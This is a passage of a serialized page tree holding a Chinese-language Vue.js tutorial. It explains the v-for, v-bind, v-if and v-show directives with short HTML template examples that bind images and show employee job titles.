标签绑定事件",{"type":18,"tag":337,"props":19762,"children":19763},{"id":19635},[19764],{"type":24,"value":19635},{"type":18,"tag":210,"props":19766,"children":19767},{},[19768,19777,19791,19843],{"type":18,"tag":158,"props":19769,"children":19770},{},[19771,19775],{"type":18,"tag":105,"props":19772,"children":19773},{},[19774],{"type":24,"value":10999},{"type":24,"value":19776},"：列表渲染，遍历容器的元素或者对象的属性",{"type":18,"tag":158,"props":19778,"children":19779},{},[19780,19784,19785],{"type":18,"tag":105,"props":19781,"children":19782},{},[19783],{"type":24,"value":18585},{"type":24,"value":222},{"type":18,"tag":74,"props":19786,"children":19788},{"className":19787},[],[19789],{"type":24,"value":19790},"\u003Ctr v-for=\"(item,index) in items\" :key=\"item.id\"> {{item}}\u003C\u002Ftr>",{"type":18,"tag":158,"props":19792,"children":19793},{},[19794,19799,19801],{"type":18,"tag":105,"props":19795,"children":19796},{},[19797],{"type":24,"value":19798},"参数说明",{"type":24,"value":19800},"：\n",{"type":18,"tag":210,"props":19802,"children":19803},{},[19804,19815,19826],{"type":18,"tag":158,"props":19805,"children":19806},{},[19807,19813],{"type":18,"tag":74,"props":19808,"children":19810},{"className":19809},[],[19811],{"type":24,"value":19812},"items",{"type":24,"value":19814},"：为遍历的数组",{"type":18,"tag":158,"props":19816,"children":19817},{},[19818,19824],{"type":18,"tag":74,"props":19819,"children":19821},{"className":19820},[],[19822],{"type":24,"value":19823},"item",{"type":24,"value":19825},"：为遍历出来的元素",{"type":18,"tag":158,"props":19827,"children":19828},{},[19829,19835,19837],{"type":18,"tag":74,"props":19830,"children":19832},{"className":19831},[],[19833],{"type":24,"value":19834},"index",{"type":24,"value":19836},"：为索引\u002F下标，从0开始；可以省略，省略index语法：",{"type":18,"tag":74,"props":19838,"children":19840},{"className":19839},[],[19841],{"type":24,"value":19842},"v-for=\"item in items\"",{"type":18,"tag":158,"props":19844,"children":19845},{},[19846,19851,19852],{"type":18,"tag":105,"props":19847,"children":19848},{},[19849],{"type":24,"value":19850},"key",{"type":24,"value":19800},{"type":18,"tag":210,"props":19853,"children":19854},{},[19855,19860],{"type":18,"tag":158,"props":19856,"children":19857},{},[19858],{"type":24,"value":19859},"作用：给元素添加的唯一标识，便于vue进行列表项的正确排序复用，提升渲染性能",{"type":18,"tag":158,"props":19861,"children":19862},{},[19863,19865,19871,19873,19878],{"type":24,"value":19864},"推荐使用",{"type":18,"tag":74,"props":19866,"children":19868},{"className":19867},[],[19869],{"type":24,"value":19870},"id",{"type":24,"value":19872},"作为key（唯一），不推荐使用",{"type":18,"tag":74,"props":19874,"children":19876},{"className":19875},[],[19877],{"type":24,"value":19834},{"type":24,"value":19879},"作为key（会变化，不对应）",{"type":18,"tag":96,"props":19881,"children":19882},{},[19883],{"type":18,"tag":34,"props":19884,"children":19885},{},[19886,19888],{"type":24,"value":19887},"⚠️ 注意：遍历的数组，必须在data中定义；要想让哪个标签循环展示多次，就在哪个标签上使用 v-for 指令。",{"type":18,"tag":105,"props":19889,"children":19890},{},[19891,19893,19898],{"type":24,"value":19892},"插值表达式  ",{"type":18,"tag":74,"props":19894,"children":19896},{"className":19895},[],[19897],{"type":24,"value":19228},{"type":24,"value":19899}," 不能出现在标签内部",{"type":18,"tag":337,"props":19901,"children":19902},{"id":19652},[19903],{"type":24,"value":19652},{"type":18,"tag":210,"props":19905,"children":19906},{},[19907,19930,19993],{"type":18,"tag":158,"props":19908,"children":19909},{},[19910,19914,19916,19921,19922,19928],{"type":18,"tag":105,"props":19911,"children":19912},{},[19913],{"type":24,"value":10999},{"type":24,"value":19915},"：动态为 HTML 标签绑定属性值，如设置",{"type":18,"tag":74,"props":19917,"children":19919},{"className":19918},[],[19920],{"type":24,"value":9567},{"type":24,"value":1942},{"type":18,"tag":74,"props":19923,"children":19925},{"className":19924},[],[19926],{"type":24,"value":19927},"src",{"type":24,"value":19929},"、style 样式等。",{"type":18,"tag":158,"props":19931,"children":19932},{},[19933,19937,19938,19944],{"type":18,"tag":105,"props":19934,"children":19935},{},[19936],{"type":24,"value":18585},{"type":24,"value":222},{"type":18,"tag":74,"props":19939,"children":19941},{"className":19940},[],[19942],{"type":24,"value":19943},"v-bind:属性名=\"属性值\"",{"type":18,"tag":287,"props":19945,"children":19947},{"className":9608,"code":19946,"language":9610,"meta":8,"style":8},"\u003Cimg v-bind:src=\"item.image\" width=\"30px\">\n",[19948],{"type":18,"tag":74,"props":19949,"children":19950},{"__ignoreMap":8},[19951],{"type":18,"tag":297,"props":19952,"children":19953},{"class":299,"line":300},[19954,19958,19962,19967,19971,19976,19980,19984,19989],{"type":18,"tag":297,"props":19955,"children":19956},{"style":327},[19957],{"type":24,"value":319},{"type":18,"tag":297,"props":19959,"children":19960},{"style":9680},[19961],{"type":24,"value":54},{"type":18,"tag":297,"props":19963,"children":19964},{"style":304},[19965],{"type":24,"value":19966}," v-bind:src",{"type":18,"tag":297,"props":19968,"children":19969},{"style":327},[19970],{"type":24,"value":9692},{"type":18,"tag":297,"props":19972,"children":19973},{"style":310},[19974],{"type":24,"value":19975},"\"item.image\"",{"type":18,"tag":297,"props":19977,"children":19978},{"style":304},[19979],{"type":24,"value":10586},{"type":18,"tag":297,"props":19981,"children":19982},{"style":327},[19983],{"type":24,"value":9692},{"type":18,"tag":297,"props":19985,"children":19986},{"style":310},[19987],{"type":24,"value":19988},"\"30px\"",{"type":18,"tag":297,"props":19990,"children":19991},{"style":327},[19992],{"type":24,"value":335},{"type":18,"tag":158,"props":19994,"children":19995},{},[19996,19998],{"type":24,"value":19997},"简写为",{"type":18,"tag":287,"props":19999,"children":20001},{"className":9608,"code":20000,"language":9610,"meta":8,"style":8},"\u003Cimg :src=\"item.image\" width=\"30px\">\n",[20002],{"type":18,"tag":74,"props":20003,"children":20004},{"__ignoreMap":8},[20005],{"type":18,"tag":297,"props":20006,"children":20007},{"class":299,"line":300},[20008,20012,20016,20021,20025,20029,20033,20037,20041],{"type":18,"tag":297,"props":20009,"children":20010},{"style":327},[20011],{"type":24,"value":319},{"type":18,"tag":297,"props":20013,"children":20014},{"style":9680},[20015],{"type":24,"value":54},{"type":18,"tag":297,"props":20017,"children":20018},{"style":304},[20019],{"type":24,"value":20020}," :src",{"type":18,"tag":297,"props":20022,"children":20023},{"style":327},[20024],{"type":24,"value":9692},{"type":18,"tag":297,"props":20026,"children":20027},{"style":310},[20028],{"type":24,"value":19975},{"type":18,"tag":297,"props":20030,"children":20031},{"style":304},[20032],{"type":24,"value":10586},{"type":18,"tag":297,"props":20034,"children":20035},{"style":327},[20036],{"type":24,"value":9692},{"type":18,"tag":297,"props":20038,"children":20039},{"style":310},[20040],{"type":24,"value":19988},{"type":18,"tag":297,"props":20042,"children":20043},{"style":327},[20044],{"type":24,"value":335},{"type":18,"tag":287,"props":20046,"children":20048},{"className":9608,"code":20047,"language":9610,"meta":8,"style":8},"# 错误示例\n\u003Ctd>\u003Cimg class=\"avatar\" src=\"{{e.image}}\" alt=\"{{e.image}}\">\u003C\u002Ftd>\n# 正确示例\n\u003Ctd>\u003Cimg class=\"avatar\" v-bind:src=\"e.image\" v-bind:alt=\"e.image\">\u003C\u002Ftd>\n",[20049],{"type":18,"tag":74,"props":20050,"children":20051},{"__ignoreMap":8},[20052,20060,20129,20137],{"type":18,"tag":297,"props":20053,"children":20054},{"class":299,"line":300},[20055],{"type":18,"tag":297,"props":20056,"children":20057},{"style":327},[20058],{"type":24,"value":20059},"# 错误示例\n",{"type":18,"tag":297,"props":20061,"children":20062},{"class":299,"line":657},[20063,20067,20071,20075,20079,20083,20087,20092,20096,20100,20105,20109,20113,20117,20121,20125],{"type":18,"tag":297,"props":20064,"children":20065},{"style":327},[20066],{"type":24,"value":319},{"type":18,"tag":297,"props":20068,"children":20069},{"style":9680},[20070],{"type":24,"value":466},{"type":18,"tag":297,"props":20072,"children":20073},{"style":327},[20074],{"type":24,"value":12635},{"type":18,"tag":297,"props":20076,"children":20077},{"style":9680},[20078],{"type":24,"value":54},{"type":18,"tag":297,"props":20080,"children":20081},{"style":304},[20082],{"type":24,"value":13996},{"type":18,"tag":297,"props":20084,"children":20085},{"style":327},[20086],{"type":24,"value":9692},{"type":18,"tag":297,"props":20088,"children":20089},{"style":310},[20090],{"type":24,"value":20091},"\"avatar\"",{"type":18,"tag":297,"props":20093,"children":20094},{"style":304},[20095],{"type":24,"value":10567},{"type":18,"tag":297,"props":20097,"children":20098},{"style":327},[20099],{"type":24,"value":9692},{"type":18,"tag":297,"props":20101,"children":20102},{"style":310},[20103],{"type":24,"value":20104},"\"{{e.image}}\"",{"type":18,"tag":297,"props":20106,"children":20107},{"style":304},[20108],{"type":24,"value":14643},{"type":18,"tag":297,"props":20110,"children":20111},{"style":327},[20112],{"type":24,"value":9692},{"type":18,"tag":297,"props":20114,"children":20115},{"style":310},[20116],{"type":24,"value":20104},{"type":18,"tag":297,"props":20118,"children":20119},{"style":327},[20120],{"type":24,"value":10600},{"type":18,"tag":297,"props":20122,"children":20123},{"style":9680},[20124],{"type":24,"value":466},{"type":18,"tag":297,"props":20126,"children":20127},{"style":327},[20128],{"type":24,"value":335},{"type":18,"tag":297,"props":20130,"children":20131},{"class":299,"line":662},[20132],{"type":18,"tag":297,"props":20133,"children":20134},{"style":327},[20135],{"type":24,"value":20136},"# 正确示例\n",{"type":18,"tag":297,"props":20138,"children":20139},{"class":299,"line":799},[20140,20144,20148,20152,20156,20160,20164,20168,20172,20176,20181,20186,20190,20194,20198,20202],{"type":18,"tag":297,"props":20141,"children":20142},{"style":327},[20143],{"type":24,"value":319},{"type":18,"tag":297,"props":20145,"children":20146},{"style":9680},[20147],{"type":24,"value":466},{"type":18,"tag":297,"props":20149,"children":20150},{"style":327},[20151],{"type":24,"value":12635},{"type":18,"tag":297,"props":20153,"children":20154},{"style":9680},[20155],{"type":24,"value":54},{"type":18,"tag":297,"props":20157,"children":20158},{"style":304},[20159],{"type":24,"value":13996},{"type":18,"tag":297,"props":20161,"children":20162},{"style":327},[20163],{"type":24,"value":9692},{"type":18,"tag":297,"props":20165,"children":20166},{"style":310},[20167],{"type":24,"value":20091},{"type":18,"tag":297,"props":20169,"children":20170},{"style":304},[20171],{"type":24,"value":19966},{"type":18,"tag":297,"props":20173,"children":20174},{"style":327},[20175],{"type":24,"value":9692},{"type":18,"tag":297,"props":20177,"children":20178},{"style":310},[20179],{"type":24,"value":20180},"\"e.image\"",{"type":18,"tag":297,"props":20182,"children":20183},{"style":304},[20184],{"type":24,"value":20185}," v-bind:alt",{"type":18,"tag":297,"props":20187,"children":20188},{"style":327},[20189],{"type":24,"value":9692},{"type":18,"tag":297,"props":20191,"children":20192},{"style":310},[20193],{"type":24,"value":20180},{"type":18,"tag":297,"props":20195,"children":20196},{"style":327},[20197],{"type":24,"value":10600},{"type":18,"tag":297,"props":20199,"children":20200},{"style":9680},[20201],{"type":24,"value":466},{"type":18,"tag":297,"props":20203,"children":20204},{"style":327},[20205],{"type":24,"value":335},{"type":18,"tag":96,"props":20207,"children":20208},{},[20209],{"type":18,"tag":34,"props":20210,"children":20211},{},[20212,20214,20218,20220,20225,20227,20233],{"type":24,"value":20213},"⚠️ ",{"type":18,"tag":105,"props":20215,"children":20216},{},[20217],{"type":24,"value":1715},{"type":24,"value":20219},"：动态为标签的属性绑定值，不能使用插值表达式，需使用",{"type":18,"tag":74,"props":20221,"children":20223},{"className":20222},[],[20224],{"type":24,"value":19652},{"type":24,"value":20226},"指令。且绑定的数据，必须在",{"type":18,"tag":74,"props":20228,"children":20230},{"className":20229},[],[20231],{"type":24,"value":20232},"data",{"type":24,"value":20234},"中定义。",{"type":18,"tag":337,"props":20236,"children":20237},{"id":19676},[20238],{"type":24,"value":19676},{"type":18,"tag":210,"props":20240,"children":20241},{},[20242,20251,20281,20291,20301],{"type":18,"tag":158,"props":20243,"children":20244},{},[20245,20249],{"type":18,"tag":105,"props":20246,"children":20247},{},[20248],{"type":24,"value":10999},{"type":24,"value":20250},"：用来控制元素的显示与隐藏的",{"type":18,"tag":158,"props":20252,"children":20253},{},[20254,20258,20259,20265,20267,20272,20274,20279],{"type":18,"tag":105,"props":20255,"children":20256},{},[20257],{"type":24,"value":18585},{"type":24,"value":222},{"type":18,"tag":74,"props":20260,"children":20262},{"className":20261},[],[20263],{"type":24,"value":20264},"v-if=\"表达式\"",{"type":24,"value":20266},"，表达式值为 ",{"type":18,"tag":74,"props":20268,"children":20270},{"className":20269},[],[20271],{"type":24,"value":9455},{"type":24,"value":20273}," 显示；",{"type":18,"tag":74,"props":20275,"children":20277},{"className":20276},[],[20278],{"type":24,"value":9313},{"type":24,"value":20280}," 隐藏",{"type":18,"tag":158,"props":20282,"children":20283},{},[20284,20289],{"type":18,"tag":105,"props":20285,"children":20286},{},[20287],{"type":24,"value":20288},"原理",{"type":24,"value":20290},"：基于条件判断，来控制创建或移除元素节点（根据条件判断是否渲染）",{"type":18,"tag":158,"props":20292,"children":20293},{},[20294,20299],{"type":18,"tag":105,"props":20295,"children":20296},{},[20297],{"type":24,"value":20298},"场景",{"type":24,"value":20300},"：要么显示，要么不显示，不频繁切换的场景",{"type":18,"tag":158,"props":20302,"children":20303},{},[20304,20309,20311,20316,20317,20322],{"type":18,"tag":105,"props":20305,"children":20306},{},[20307],{"type":24,"value":20308},"其它",{"type":24,"value":20310},"：可以配合 ",{"type":18,"tag":74,"props":20312,"children":20314},{"className":20313},[],[20315],{"type":24,"value":19683},{"type":24,"value":11021},{"type":18,"tag":74,"props":20318,"children":20320},{"className":20319},[],[20321],{"type":24,"value":19690},{"type":24,"value":20323}," 进行链式调用条件判断",{"type":18,"tag":34,"props":20325,"children":20326},{},[20327],{"type":24,"value":20328},"示例：",{"type":18,"tag":287,"props":20330,"children":20332},{"className":9608,"code":20331,"language":9610,"meta":8,"style":8},"\u003C!-- v-if：控制元素的显示与隐藏 -->\n\u003Ctd>\n    \u003Cspan v-if=\"e.job == 1\">班主任\u003C\u002Fspan>\n    \u003Cspan v-else-if=\"e.job == 2\">讲师\u003C\u002Fspan>\n    \u003Cspan v-else-if=\"e.job == 3\">学工主管\u003C\u002Fspan>\n    \u003Cspan v-else-if=\"e.job == 4\">教研主管\u003C\u002Fspan>\n    \u003Cspan v-else-if=\"e.job == 5\">咨询师\u003C\u002Fspan>\n    \u003Cspan v-else>其他\u003C\u002Fspan>\n\u003C\u002Ftd>\n",[20333],{"type":18,"tag":74,"props":20334,"children":20335},{"__ignoreMap":8},[20336,20344,20359,20397,20435,20472,20509,20546,20575],{"type":18,"tag":297,"props":20337,"children":20338},{"class":299,"line":300},[20339],{"type":18,"tag":297,"props":20340,"children":20341},{"style":5380},[20342],{"type":24,"value":20343},"\u003C!-- v-if：控制元素的显示与隐藏 -->\n",{"type":18,"tag":297,"props":20345,"children":20346},{"class":299,"line":657},[20347,20351,20355],{"type":18,"tag":297,"props":20348,"children":20349},{"style":327},[20350],{"type":24,"value":319},{"type":18,"tag":297,"props":20352,"children":20353},{"style":9680},[20354],{"type":24,"value":466},{"type":18,"tag":297,"props":20356,"children":20357},{"style":327},[20358],{"type":24,"value":335},{"type":18,"tag":297,"props":20360,"children":20361},{"class":299,"line":662},[20362,20366,20370,20375,20379,20384,20389,20393],{"type":18,"tag":297,"props":20363,"children":20364},{"style":327},[20365],{"type":24,"value":12451},{"type":18,"tag":297,"props":20367,"children":20368},{"style":9680},[20369],{"type":24,"value":297},{"type":18,"tag":297,"props":20371,"children":20372},{"style":304},[20373],{"type":24,"value":20374}," v-if",{"type":18,"tag":297,"props":20376,"children":20377},{"style":327},[20378],{"type":24,"value":9692},{"type":18,"tag":297,"props":20380,"children":20381},{"style":310},[20382],{"type":24,"value":20383},"\"e.job == 1\"",{"type":18,"tag":297,"props":20385,"children":20386},{"style":327},[20387],{"type":24,"value":20388},">班主任\u003C\u002F",{"type":18,"tag":297,"props":20390,"children":20391},{"style":9680},[20392],{"type":24,"value":297},{"type":18,"tag":297,"props":20394,"children":20395},{"style":327},[20396],{"type":24,"value":335},{"type":18,"tag":297,"props":20398,"children":20399},{"class":299,"line":799},[20400,20404,20408,20413,20417,20422,20427,20431],{"type":18,"tag":297,"props":20401,"children":20402},{"style":327},[20403],{"type":24,"value":12451},{"type":18,"tag":297,"props":20405,"children":20406},{"style":9680},[20407],{"type":24,"value":297},{"type":18,"tag":297,"props":20409,"children":20410},{"style":304},[20411],{"type":24,"value":20412}," v-else-if",{"type":18,"tag":297,"props":20414,"children":20415},{"style":327},[20416],{"type":24,"value":9692},{"type":18,"tag":297,"props":20418,"children":20419},{"style":310},[20420],{"type":24,"value":20421},"\"e.job == 2\"",{"type":18,"tag":297,"props":20423,"children":20424},{"style":327},[20425],{"type":24,"value":20426},">讲师\u003C\u002F",{"type":18,"tag":297,"props":20428,"children":20429},{"style":9680},[20430],{"type":24,"value":297},{"type":18,"tag":297,"props":20432,"children":20433},{"style":327},[20434],{"type":24,"value":335},{"type":18,"tag":297,"props":20436,"children":20437},{"class":299,"line":808},[20438,20442,20446,20450,20454,20459,20464,20468],{"type":18,"tag":297,"props":20439,"children":20440},{"style":327},[20441],{"type":24,"value":12451},{"type":18,"tag":297,"props":20443,"children":20444},{"style":9680},[20445],{"type":24,"value":297},{"type":18,"tag":297,"props":20447,"children":20448},{"style":304},[20449],{"type":24,"value":20412},{"type":18,"tag":297,"props":20451,"children":20452},{"style":327},[20453],{"type":24,"value":9692},{"type":18,"tag":297,"props":20455,"children":20456},{"style":310},[20457],{"type":24,"value":20458},"\"e.job == 3\"",{"type":18,"tag":297,"props":20460,"children":20461},{"style":327},[20462],{"type":24,"value":20463},">学工主管\u003C\u002F",{"type":18,"tag":297,"props":20465,"children":20466},{"style":9680},[20467],{"type":24,"value":297},{"type":18,"tag":297,"props":20469,"children":20470},{"style":327},[20471],{"type":24,"value":335},{"type":18,"tag":297,"props":20473,"children":20474},{"class":299,"line":817},[20475,20479,20483,20487,20491,20496,20501,20505],{"type":18,"tag":297,"props":20476,"children":20477},{"style":327},[20478],{"type":24,"value":12451},{"type":18,"tag":297,"props":20480,"children":20481},{"style":9680},[20482],{"type":24,"value":297},{"type":18,"tag":297,"props":20484,"children":20485},{"style":304},[20486],{"type":24,"value":20412},{"type":18,"tag":297,"props":20488,"children":20489},{"style":327},[20490],{"type":24,"value":9692},{"type":18,"tag":297,"props":20492,"children":20493},{"style":310},[20494],{"type":24,"value":20495},"\"e.job == 4\"",{"type":18,"tag":297,"props":20497,"children":20498},{"style":327},[20499],{"type":24,"value":20500},">教研主管\u003C\u002F",{"type":18,"tag":297,"props":20502,"children":20503},{"style":9680},[20504],{"type":24,"value":297},{"type":18,"tag":297,"props":20506,"children":20507},{"style":327},[20508],{"type":24,"value":335},{"type":18,"tag":297,"props":20510,"children":20511},{"class":299,"line":826},[20512,20516,20520,20524,20528,20533,20538,20542],{"type":18,"tag":297,"props":20513,"children":20514},{"style":327},[20515],{"type":24,"value":12451},{"type":18,"tag":297,"props":20517,"children":20518},{"style":9680},[20519],{"type":24,"value":297},{"type":18,"tag":297,"props":20521,"children":20522},{"style":304},[20523],{"type":24,"value":20412},{"type":18,"tag":297,"props":20525,"children":20526},{"style":327},[20527],{"type":24,"value":9692},{"type":18,"tag":297,"props":20529,"children":20530},{"style":310},[20531],{"type":24,"value":20532},"\"e.job == 5\"",{"type":18,"tag":297,"props":20534,"children":20535},{"style":327},[20536],{"type":24,"value":20537},">咨询师\u003C\u002F",{"type":18,"tag":297,"props":20539,"children":20540},{"style":9680},[20541],{"type":24,"value":297},{"type":18,"tag":297,"props":20543,"children":20544},{"style":327},[20545],{"type":24,"value":335},{"type":18,"tag":297,"props":20547,"children":20548},{"class":299,"line":4524},[20549,20553,20557,20562,20567,20571],{"type":18,"tag":297,"props":20550,"children":20551},{"style":327},[20552],{"type":24,"value":12451},{"type":18,"tag":297,"props":20554,"children":20555},{"style":9680},[20556],{"type":24,"value":297},{"type":18,"tag":297,"props":20558,"children":20559},{"style":304},[20560],{"type":24,"value":20561}," v-else",{"type":18,"tag":297,"props":20563,"children":20564},{"style":327},[20565],{"type":24,"value":20566},">其他\u003C\u002F",{"type":18,"tag":297,"props":20568,"children":20569},{"style":9680},[20570],{"type":24,"value":297},{"type":18,"tag":297,"props":20572,"children":20573},{"style":327},[20574],{"type":24,"value":335},{"type":18,"tag":297,"props":20576,"children":20577},{"class":299,"line":4533},[20578,20582,20586],{"type":18,"tag":297,"props":20579,"children":20580},{"style":327},[20581],{"type":24,"value":11688},{"type":18,"tag":297,"props":20583,"children":20584},{"style":9680},[20585],{"type":24,"value":466},{"type":18,"tag":297,"props":20587,"children":20588},{"style":327},[20589],{"type":24,"value":335},{"type":18,"tag":96,"props":20591,"children":20592},{},[20593],{"type":18,"tag":34,"props":20594,"children":20595},{},[20596,20597,20601,20602,20607,20609,20614,20616,20621,20622,20627,20628,20633],{"type":24,"value":20213},{"type":18,"tag":105,"props":20598,"children":20599},{},[20600],{"type":24,"value":1715},{"type":24,"value":222},{"type":18,"tag":74,"props":20603,"children":20605},{"className":20604},[],[20606],{"type":24,"value":19683},{"type":24,"value":20608}," 必须出现在 ",{"type":18,"tag":74,"props":20610,"children":20612},{"className":20611},[],[20613],{"type":24,"value":19676},{"type":24,"value":20615}," 之后，可以出现多个；",{"type":18,"tag":74,"props":20617,"children":20619},{"className":20618},[],[20620],{"type":24,"value":19690},{"type":24,"value":20608},{"type":18,"tag":74,"props":20623,"children":20625},{"className":20624},[],[20626],{"type":24,"value":19676},{"type":24,"value":5352},{"type":18,"tag":74,"props":20629,"children":20631},{"className":20630},[],[20632],{"type":24,"value":19683},{"type":24,"value":20634}," 之后。",{"type":18,"tag":337,"props":20636,"children":20637},{"id":19714},[20638],{"type":24,"value":19714},{"type":18,"tag":210,"props":20640,"children":20641},{},[20642,20650,20677,20693],{"type":18,"tag":158,"props":20643,"children":20644},{},[20645,20649],{"type":18,"tag":105,"props":20646,"children":20647},{},[20648],{"type":24,"value":10999},{"type":24,"value":20250},{"type":18,"tag":158,"props":20651,"children":20652},{},[20653,20657,20658,20664,20665,20670,20671,20676],{"type":18,"tag":105,"props":20654,"children":20655},{},[20656],{"type":24,"value":18585},{"type":24,"value":222},{"type":18,"tag":74,"props":20659,"children":20661},{"className":20660},[],[20662],{"type":24,"value":20663},"v-show=\"表达式\"",{"type":24,"value":20266},{"type":18,"tag":74,"props":20666,"children":20668},{"className":20667},[],[20669],{"type":24,"value":9455},{"type":24,"value":20273},{"type":18,"tag":74,"props":20672,"children":20674},{"className":20673},[],[20675],{"type":24,"value":9313},{"type":24,"value":20280},{"type":18,"tag":158,"props":20678,"children":20679},{},[20680,20684,20686,20691],{"type":18,"tag":105,"props":20681,"children":20682},{},[20683],{"type":24,"value":20288},{"type":24,"value":20685},"：基于 CSS 样式 ",{"type":18,"tag":74,"props":20687,"children":20689},{"className":20688},[],[20690],{"type":24,"value":15907},{"type":24,"value":20692}," 来控制显示与隐藏",{"type":18,"tag":158,"props":20694,"children":20695},{},[20696,20700],{"type":18,"tag":105,"props":20697,"children":20698},{},[20699],{"type":24,"value":20298},{"type":24,"value":20701},"：频繁切换显示隐藏的场景",{"type":18,"tag":34,"props":20703,"children":20704},{},[20705],{"type":24,"value":20328},{"type":18,"tag":287,"props":20707,"children":20709},{"className":9608,"code":20708,"language":9610,"meta":8,"style":8},"\u003C!-- v-show：控制元素的显示与隐藏 -->\n\u003Ctd>\n    \u003Cspan v-show=\"e.job == 1\">班主任\u003C\u002Fspan>\n    \u003Cspan v-show=\"e.job == 2\">讲师\u003C\u002Fspan>\n    \u003Cspan v-show=\"e.job == 3\">学工主管\u003C\u002Fspan>\n    \u003Cspan v-show=\"e.job == 4\">教研主管\u003C\u002Fspan>\n    \u003Cspan v-show=\"e.job == 5\">咨询师\u003C\u002Fspan>\n\u003C\u002Ftd>\n",[20710],{"type":18,"tag":74,"props":20711,"children":20712},{"__ignoreMap":8},[20713,20721,20736,20772,20807,20842,20877,20912],{"type":18,"tag":297,"props":20714,"children":20715},{"class":299,"line":300},[20716],{"type":18,"tag":297,"props":20717,"children":20718},{"style":5380},[20719],{"type":24,"value":20720},"\u003C!-- v-show：控制元素的显示与隐藏 -->\n",{"type":18,"tag":297,"props":20722,"children":20723},{"class":299,"line":657},[20724,20728,20732],{"type":18,"tag":297,"props":20725,"children":20726},{"style":327},[20727],{"type":24,"value":319},{"type":18,"tag":297,"props":20729,"children":20730},{"style":9680},[20731],{"type":24,"value":466},{"type":18,"tag":297,"props":20733,"children":20734},{"style":327},[20735],{"type":24,"value":335},{"type":18,"tag":297,"props":20737,"children":20738},{"class":299,"line":662},[20739,20743,20747,20752,20756,20760,20764,20768],{"type":18,"tag":297,"props":20740,"children":20741},{"style":327},[20742],{"type":24,"value":12451},{"type":18,"tag":297,"props":20744,"children":20745},{"style":9680},[20746],{"type":24,"value":297},{"type":18,"tag":297,"props":20748,"children":20749},{"style":304},[20750],{"type":24,"value":20751}," v-show",{"type":18,"tag":297,"props":20753,"children":20754},{"style":327},[20755],{"type":24,"value":9692},{"type":18,"tag":297,"props":20757,"children":20758},{"style":310},[20759],{"type":24,"value":20383},{"type":18,"tag":297,"props":20761,"children":20762},{"style":327},[20763],{"type":24,"value":20388},{"type":18,"tag":297,"props":20765,"children":20766},{"style":9680},[20767],{"type":24,"value":297},{"type":18,"tag":297,"props":20769,"children":20770},{"style":327},[20771],{"type":24,"value":335},{"type":18,"tag":297,"props":20773,"children":20774},{"class":299,"line":799},[20775,20779,20783,20787,20791,20795,20799,20803],{"type":18,"tag":297,"props":20776,"children":20777},{"style":327},[20778],{"type":24,"value":12451},{"type":18,"tag":297,"props":20780,"children":20781},{"style":9680},[20782],{"type":24,"value":297},{"type":18,"tag":297,"props":20784,"children":20785},{"style":304},[20786],{"type":24,"value":20751},{"type":18,"tag":297,"props":20788,"children":20789},{"style":327},[20790],{"type":24,"value":9692},{"type":18,"tag":297,"props":20792,"children":20793},{"style":310},[20794],{"type":24,"value":20421},{"type":18,"tag":297,"props":20796,"children":20797},{"style":327},[20798],{"type":24,"value":20426},{"type":18,"tag":297,"props":20800,"children":20801},{"style":9680},[20802],{"type":24,"value":297},{"type":18,"tag":297,"props":20804,"children":20805},{"style":327},[20806],{"type":24,"value":335},{"type":18,"tag":297,"props":20808,"children":20809},{"class":299,"line":808},[20810,20814,20818,20822,20826,20830,20834,20838],{"type":18,"tag":297,"props":20811,"children":20812},{"style":327},[20813],{"type":24,"value":12451},{"type":18,"tag":297,"props":20815,"children":20816},{"style":9680},[20817],{"type":24,"value":297},{"type":18,"tag":297,"props":20819,"children":20820},{"style":304},[20821],{"type":24,"value":20751},{"type":18,"tag":297,"props":20823,"children":20824},{"style":327},[20825],{"type":24,"value":9692},{"type":18,"tag":297,"props":20827,"children":20828},{"style":310},[20829],{"type":24,"value":20458},{"type":18,"tag":297,"props":20831,"children":20832},{"style":327},[20833],{"type":24,"value":20463},{"type":18,"tag":297,"props":20835,"children":20836},{"style":9680},[20837],{"type":24,"value":297},{"type":18,"tag":297,"props":20839,"children":20840},{"style":327},[20841],{"type":24,"value":335},{"type":18,"tag":297,"props":20843,"children":20844},{"class":299,"line":817},[20845,20849,20853,20857,20861,20865,20869,20873],{"type":18,"tag":297,"props":20846,"children":20847},{"style":327},[20848],{"type":24,"value":12451},{"type":18,"tag":297,"props":20850,"children":20851},{"style":9680},[20852],{"type":24,"value":297},{"type":18,"tag":297,"props":20854,"children":20855},{"style":304},[20856],{"type":24,"value":20751},{"type":18,"tag":297,"props":20858,"children":20859},{"style":327},[20860],{"type":24,"value":9692},{"type":18,"tag":297,"props":20862,"children":20863},{"style":310},[20864],{"type":24,"value":20495},{"type":18,"tag":297,"props":20866,"children":20867},{"style":327},[20868],{"type":24,"value":20500},{"type":18,"tag":297,"props":20870,"children":20871},{"style":9680},[20872],{"type":24,"value":297},{"type":18,"tag":297,"props":20874,"children":20875},{"style":327},[20876],{"type":24,"value":335},{"type":18,"tag":297,"props":20878,"children":20879},{"class":299,"line":826},[20880,20884,20888,20892,20896,20900,20904,20908],{"type":18,"tag":297,"props":20881,"children":20882},{"style":327},[20883],{"type":24,"value":12451},{"type":18,"tag":297,"props":20885,"children":20886},{"style":9680},[20887],{"type":24,"value":297},{"type":18,"tag":297,"props":20889,"children":20890},{"style":304},[20891],{"type":24,"value":20751},{"type":18,"tag":297,"props":20893,"children":20894},{"style":327},[20895],{"type":24,"value":9692},{"type":18,"tag":297,"props":20897,"children":20898},{"style":310},[20899],{"type":24,"value":20532},{"type":18,"tag":297,"props":20901,"children":20902},{"style":327},[20903],{"type":24,"value":20537},{"type":18,"tag":297,"props":20905,"children":20906},{"style":9680},[20907],{"type":24,"value":297},{"type":18,"tag":297,"props":20909,"children":20910},{"style":327},[20911],{"type":24,"value":335},{"type":18,"tag":297,"props":20913,"children":20914},{"class":299,"line":4524},[20915,20919,20923],{"type":18,"tag":297,"props":20916,"children":20917},{"style":327},[20918],{"type":24,"value":11688},{"type":18,"tag":297,"props":20920,"children":20921},{"style":9680},[20922],{"type":24,"value":466},{"type":18,"tag":297,"props":20924,"children":20925},{"style":327},[20926],{"type":24,"value":335},{"type":18,"tag":34,"props":20928,"children":20929},{},[20930],{"type":18,"tag":105,"props":20931,"children":20932},{},[20933],{"type":24,"value":20934},"v-if 与 v-show 的作用？",{"type":18,"tag":210,"props":20936,"children":20937},{},[20938],{"type":18,"tag":158,"props":20939,"children":20940},{},[20941],{"type":24,"value":20942},"根据条件判断，是否展示某元素",{"type":18,"tag":34,"props":20944,"children":20945},{},[20946],{"type":18,"tag":105,"props":20947,"children":20948},{},[20949],{"type":24,"value":20950},"v-if 与 v-show 